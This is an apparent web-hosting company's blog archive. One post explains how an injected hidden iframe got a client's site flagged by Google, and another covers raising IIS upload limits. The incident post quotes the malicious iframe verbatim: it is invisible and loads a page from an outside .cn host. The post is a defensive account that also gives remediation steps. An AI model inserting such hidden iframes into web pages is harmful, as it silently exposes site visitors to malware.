Archive for the ‘Server Tips’ Category

Google Search Results: “This site may harm your computer”

Friday, June 12th, 2009

Google has introduced a new piece of logic into their indexing engine, which detects malware embedded within websites.  If your website has been compromised, which I’ll explain what ‘compromised’ means later, then you will see “This site may harm your computer” when you search Google for your website.

Within this article we will discuss

  1. What does it mean to have a compromised website
  2. How does a compromise occur
  3. How to resolve this issue
  4. How to I work with Google to remove the “This site may harm your computer” link

What does it mean to have a compromised website?

Recently we had a client call us with this concern.  Several of his clients contacted him and said that when they searched for his website on Google, they were presented with a link under the title of the result page that said “This site may harm your computer”.  The result looked just like this:

This site may harm your computer

How did this happen?

In this case, it is easy to look at the result of the attack and work backward toward how the attack occurred.  Here is what we know;

  1. The attacker placed the following line of code on a website file:
    <iframe src="http://filmlifeimages.cn:8080/index.php"
    width=180 height=111 style="visibility: hidden"></iframe>
  2. After consulting with the client, who had FTP access, we knew that he was not responsible for uploading a file containing this information
  3. We noted the date of the modified file on the file system 6/10/2009 @  2:08am CST
  4. We then looked at the FTP log files to understand what happened on the 10th at 2:08am.
  5. The log file outlined that every page on the site was overwritten, status 226, on or around 2:08am
  6. The account used to access the server was a valid FTP account.
Based on this information, and a few other things that we collected from the client, we are 99% sure that the client’s computer was infected by a ‘keylogger’ program.  A ‘keylogger’ does exactly what it sounds like, it logs all of the keystrokes you make on your computer, and oftentimes, transmits the data to a computer outside of your network, which is then accessed by the hacker.
To test our ‘keylogger’ theory, we connected a dummy system to the infected website and sure enough, we were infected with a keylogger.

How do I resolve this issue?
If you are the hosting company – you should know what to do.  Reset the FTP account password, remove ‘any’ access to port 21 on your firewall and begin restricting access by IP or VPN.

If you are the client – your computer, and potentially your network is infected with a keylogger program.  Our suggestion is that you complete the following steps immediately.

  1. If you do online banking, call your bank immediately to have your account credentials changed
  2. If you have purchased anything online recently, call your credit card companies and have them reissue you a new card.
  3. If you have provided any websites significant information about your identity, contact an identity theft company

Once you have completed the steps above, you now have to remove the keylogger program from your system.  We recommend using AVAST, found at http://www.avast.com/, there are several types of software like this out on the internet.  Run a full scan of your system and remove all of the infected files.  Moving forward, you should run these types of programs constantly and conduct full system/network scan on a routine basis.

How to I work with Google to remove the “This site may harm your computer” link

The process to remove the “harmful” status is very basic. Navigate to this website and scroll to the bottom of the page  http://www.google.com/support/webmasters/bin/answer.py?answer=45432

Modifying the Default Upload Capabilities of IIS

Wednesday, November 26th, 2008

If you have a Windows server and are having trouble uploading large files via a web app, this article is for you.  In order to complete this system modification you will need Administrative access to Remote Desktop.  If you don’t have this type of access, contact your hosting company and refer them to this article.

IIS Upload Modification Steps:

  1. Go to Start > Run, type in “inetmgr” – hit OK
  2. The IIS Manager will open
  3. Right-click on “local-computer” or your computer name

  4. Your computer properties window will open
  5. Check “Enable Direct Metabase Edit”

  6. You will now be able to update the metabase.xml file without restarting IIS after you’ve completed your update
  7. Navigate to the following directory: C:\windows\sytem32\inetserv
  8. Open the MetaBase.xml file with notepad




  9. With the file open, Find (Control+F) the line containing “AspMaxRequestEntityAllowed”
  10. The numeric value assigned to this variable is in KB (by default is 204800 or 200K).
  11. Update this value to increase the file upload size (1MB = 1000000)

Like what you see? Let's talk.

Monday - Friday, 8:30am - 8:00pm EST.
Call us at 617-229-7210
*Required Fields